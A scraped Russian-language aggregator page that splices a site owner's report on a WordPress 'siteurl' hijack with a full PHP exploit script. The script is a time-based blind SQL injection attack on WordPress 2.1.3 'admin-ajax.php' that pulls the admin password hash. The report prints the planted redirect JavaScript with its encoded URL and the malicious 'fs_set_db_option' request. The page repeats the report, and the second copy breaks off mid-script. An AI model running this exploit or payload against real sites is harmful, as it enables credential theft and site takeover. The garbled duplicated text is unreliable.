Admin ajax php exploit

Критическая уязвимость в admin-ajax.php

Все выходящие обновления для движка, плагина и темы устанавливаются вовремя. Плагины только из официального репозитория, тема тоже.

Незамедлительно был скачан бэкап сайта, просканирован антивирусным ПО (Dr. Web, Kaspersky, AI-BOLIT) – но результатов никаких не было, все чисто.

Были проверены вручную файлы темы и некоторых плагинов, но снова не было результата.
При проверке дампа базы в таблице «wp_options» в параметре «siteurl» — таился чужой URL. Собственно на него и была переадресация.

Происходило это по принципу: при загрузке страницы параметр «siteurl» подставлялся во все

При этом происходила подгрузка вот такого скрипта:

var x = getCookie('pp000001'); if (x) < var x2 = getCookie('pp000002'); if (x2) < var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >else < setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >> else < setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >function setCookie(name,value,days) < var expires = ""; if (days) < var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); >document.cookie = name + "=" + (value || "") + expires + "; path=/"; > function getCookie(name) < var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) < var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); >return null; > function eraseCookie(name)

Как чужой URL попал в базу, осталось загадкой. Сменив URL на нужный, все заработало снова, но на следующий день при проверке я снова увидел как Dr. Web ругается на переадресованную страницу. В базе снова был изменён этот параметр.

Читайте также:  Python разработчик yandex praktikum

После этого были скачаны свежие логи доступа к сайту и логи ошибок. Ошибок не оказалось, а вот в логах доступа нашелся крайне интересный запрос к сайту:

/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value=ВРЕДНЫЙ URL

Снова исправив настройки и проверив, что все работает, попробовал повторить данный запрос на сайте, но ничего не получилось. Настройка в базе не сменилась.

Надо отметить, что на сайте открыта регистрация и пользователи получают роли «Подписчика», доступ до административной части полностью закрыт.

Была предпринята попытка зарегистрировать нового пользователя, авторизоваться и после чего данный запрос к сайту сработал, настройка в базе изменилась.

В итоге получается, что если на сайте открыта регистрация пользователей, даже с ролью «Подписчик» и закрыт доступ до админки, все равно этот запрос срабатывает.

Проверено было еще на другом сайте, предварительно выключив все плагин и установив тему по умолчанию – результат такой же.

Как бороться, кроме как выключить регистрацию и удалить подозрительных пользователей – решения пока не нашел.

P.S.: погуглив запрос, были найдены зараженные сайты, будьте внимательны.

Источник

andripwn / WSQL.php

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters

error_reporting( E_ALL );
$ norm_delay = 0 ;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 «admin-ajax.php» sql injection blind fishing exploit
// written by Andri Wahyudi «Pwn0sec»
// http://www.pwn0day.com/
// 27. June 2020
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$ outfile = ‘./warlog.txt’ ; // Log file
$ url = ‘http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php’ ;
$ testcnt = 300000 ; // Use bigger numbers, if server is slow, default is 300000
$ id = 1 ; // ID of the target user, default value «1» is admin’s ID
$ suffix = » ; // Override value, if needed
$ prefix = ‘wp_’ ; // WordPress table prefix, default is «wp_»
//======================================================================
echo » Target: $ url \n»;
echo » sql table prefix: $ prefix \n»;
if (empty( $ suffix ))
$ suffix = md5(substr( $ url , 0 , strlen( $ url ) — 24 ));
>
echo » cookie suffix: $ suffix \n»;
echo » testing probe delays \n»;
$ norm_delay = get_normdelay( $ testcnt );
echo » normal delay: $ norm_delay deciseconds \n»;
$ hash = get_hash();
add_line(» Target: $ url «);
add_line(» User ID: $ id «);
add_line(» Hash: $ hash «);
echo «\n Work finished \n»;
echo » Questions and feedback — http://www.waraxe.us/ \n»;
die(» See ya! 🙂 \n»);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash ()
$ len = 32 ;
$ field = ‘user_pass’ ;
$ out = » ;
echo » finding hash now . \n»;
for( $ i = 1 ; $ i < $ len + 1 ; $ i ++)
$ ch = get_hashchar( $ field , $ i );
echo » got $ field pos $ i —> $ ch \n»;
$ out .= » $ ch «;
echo » current value for $ field : $ out \n»;
>
echo «\n Final result: $ field = $ out \n\n»;
return $ out ;
>
///////////////////////////////////////////////////////////////////////
function get_hashchar ( $ field , $ pos )
global $ prefix , $ suffix , $ id , $ testcnt ;
$ char = » ;
$ cnt = $ testcnt * 4 ;
$ ppattern = ‘cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh’ ;
$ ipattern = » UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE AND IF(ORD(SUBSTRING( $ field , $ pos ,1))%s,BENCHMARK( $ cnt ,MD5(1337)),3)/* «;
// First let’s determine, if it’s number or letter
$ inj = sprintf( $ ipattern , $ prefix , $ id , » >57 «);
$ post = sprintf( $ ppattern , $ suffix , $ inj , $ suffix );
$ letter = test_condition( $ post );
if ( $ letter )
$ min = 97 ;
$ max = 102 ;
echo » char to find is [a-f] \n»;
>
else
$ min = 48 ;
$ max = 57 ;
echo » char to find is 9 \n»;
>
$ curr = 0 ;
while ( 1 )
$ area = $ max — $ min ;
if ( $ area < 2 )
$ inj = sprintf( $ ipattern , $ prefix , $ id , » = $ max «);
$ post = sprintf( $ ppattern , $ suffix , $ inj , $ suffix );
$ eq = test_condition( $ post );
if ( $ eq )
$ char = chr( $ max );
>
else
$ char = chr( $ min );
>
break ;
>
$ half = intval(floor( $ area / 2 ));
$ curr = $ min + $ half ;
$ inj = sprintf( $ ipattern , $ prefix , $ id , » > $ curr «);
$ post = sprintf( $ ppattern , $ suffix , $ inj , $ suffix );
$ bigger = test_condition( $ post );
if ( $ bigger )
$ min = $ curr ;
>
else
$ max = $ curr ;
>
echo » curr: $ curr — $ max — $ min \n»;
>
return $ char ;
>
///////////////////////////////////////////////////////////////////////
function test_condition ( $ p )
global $ url , $ norm_delay ;
$ bret = false ;
$ maxtry = 10 ;
$ try = 1 ;
while ( 1 )
$ start = getmicrotime();
$ buff = make_post( $ url , $ p );
$ end = getmicrotime();
if ( $ buff === ‘-1’ )
break ;
>
else
echo » test_condition() — try $ try — invalid return value . \n»;
$ try ++;
if ( $ try > $ maxtry )
die(» too many tries — exiting . \n»);
>
else
echo » trying again — try $ try . \n»;
>
>
>
$ diff = $ end — $ start ;
$ delay = intval( $ diff * 10 );
if ( $ delay > ( $ norm_delay * 2 ))
$ bret = true ;
>
return $ bret ;
>
///////////////////////////////////////////////////////////////////////
function get_normdelay ( $ testcnt )
$ fa = test_md5delay( 1 );
echo » $ fa \n»;
$ sa = test_md5delay( $ testcnt );
echo » $ sa \n»;
$ fb = test_md5delay( 1 );
echo » $ fb \n»;
$ sb = test_md5delay( $ testcnt );
echo » $ sb \n»;
$ fc = test_md5delay( 1 );
echo » $ fc \n»;
$ sc = test_md5delay( $ testcnt );
echo » $ sc \n»;
$ mean_nondelayed = intval(( $ fa + $ fb + $ fc ) / 3 );
echo » mean nondelayed — $ mean_nondelayed dsecs \n»;
$ mean_delayed = intval(( $ sa + $ sb + $ sc ) / 3 );
echo » mean delayed — $ mean_delayed dsecs \n»;
return $ mean_delayed ;
>
///////////////////////////////////////////////////////////////////////
function test_md5delay ( $ cnt )
global $ url , $ id , $ prefix , $ suffix ;
// delay in deciseconds
$ delay = — 1 ;
$ ppattern = ‘cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh’ ;
$ ipattern = ‘ UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*’ ;
$ inj = sprintf( $ ipattern , $ prefix , $ id , $ cnt );
$ post = sprintf( $ ppattern , $ suffix , $ inj , $ suffix );
$ start = getmicrotime();
$ buff = make_post( $ url , $ post );
$ end = getmicrotime();
if (intval( $ buff ) !== — 1 )
die(» test_md5delay( $ cnt ) — invalid return value, exiting . «);
>
$ diff = $ end — $ start ;
$ delay = intval( $ diff * 10 );
return $ delay ;
>
///////////////////////////////////////////////////////////////////////
function getmicrotime ()
list ( $ usec , $ sec ) = explode(» «, microtime());
return (( float ) $ usec + ( float ) $ sec );
>
///////////////////////////////////////////////////////////////////////
function make_post ( $ url , $ post_fields = » , $ cookie = » , $ referer = » , $ headers = FALSE )
$ ch = curl_init();
$ timeout = 120 ;
curl_setopt ( $ ch , CURLOPT_URL , $ url );
curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $ ch , CURLOPT_CONNECTTIMEOUT , $ timeout );
curl_setopt( $ ch , CURLOPT_POST , 1 );
curl_setopt( $ ch , CURLOPT_POSTFIELDS , $ post_fields );
curl_setopt( $ ch , CURLOPT_FOLLOWLOCATION , 0 );
curl_setopt ( $ ch , CURLOPT_USERAGENT , ‘Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)’ );
if (!empty( $ cookie ))
curl_setopt ( $ ch , CURLOPT_COOKIE , $ cookie );
>
if (!empty( $ referer ))
curl_setopt ( $ ch , CURLOPT_REFERER , $ referer );
>
if ( $ headers === TRUE )
curl_setopt ( $ ch , CURLOPT_HEADER , TRUE );
>
else
curl_setopt ( $ ch , CURLOPT_HEADER , FALSE );
>
$ fc = curl_exec( $ ch );
curl_close( $ ch );
return $ fc ;
>
///////////////////////////////////////////////////////////////////////
function add_line ( $ buf )
global $ outfile ;
$ buf .= «\n»;
$ fh = fopen( $ outfile , ‘ab’ );
fwrite( $ fh , $ buf );
fclose( $ fh );
>
///////////////////////////////////////////////////////////////////////
?>

Источник

Критическая уязвимость в admin-ajax.php

Все выходящие обновления для движка, плагина и темы устанавливаются вовремя. Плагины только из официального репозитория, тема тоже.

Незамедлительно был скачан бэкап сайта, просканирован антивирусным ПО (Dr. Web, Kaspersky, AI-BOLIT) – но результатов никаких не было, все чисто.

Были проверены вручную файлы темы и некоторых плагинов, но снова не было результата.
При проверке дампа базы в таблице «wp_options» в параметре «siteurl» — таился чужой URL. Собственно на него и была переадресация.

Происходило это по принципу: при загрузке страницы параметр «siteurl» подставлялся во все

При этом происходила подгрузка вот такого скрипта:

var x = getCookie('pp000001'); if (x) < var x2 = getCookie('pp000002'); if (x2) < var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >else < setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >> else < setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; >function setCookie(name,value,days) < var expires = ""; if (days) < var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); >document.cookie = name + "=" + (value || "") + expires + "; path=/"; > function getCookie(name) < var nameEQ = name + " plaintext">/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value=ВРЕДНЫЙ URL

Снова исправив настройки и проверив, что все работает, попробовал повторить данный запрос на сайте, но ничего не получилось. Настройка в базе не сменилась.

Надо отметить, что на сайте открыта регистрация и пользователи получают роли «Подписчика», доступ до административной части полностью закрыт.

Была предпринята попытка зарегистрировать нового пользователя, авторизоваться и после чего данный запрос к сайту сработал, настройка в базе изменилась.

В итоге получается, что если на сайте открыта регистрация пользователей, даже с ролью «Подписчик» и закрыт доступ до админки, все равно этот запрос срабатывает.

Проверено было еще на другом сайте, предварительно выключив все плагин и установив тему по умолчанию – результат такой же.

Как бороться, кроме как выключить регистрацию и удалить подозрительных пользователей – решения пока не нашел.

P.S.: погуглив запрос, были найдены зараженные сайты, будьте внимательны.

Источник

Оцените статью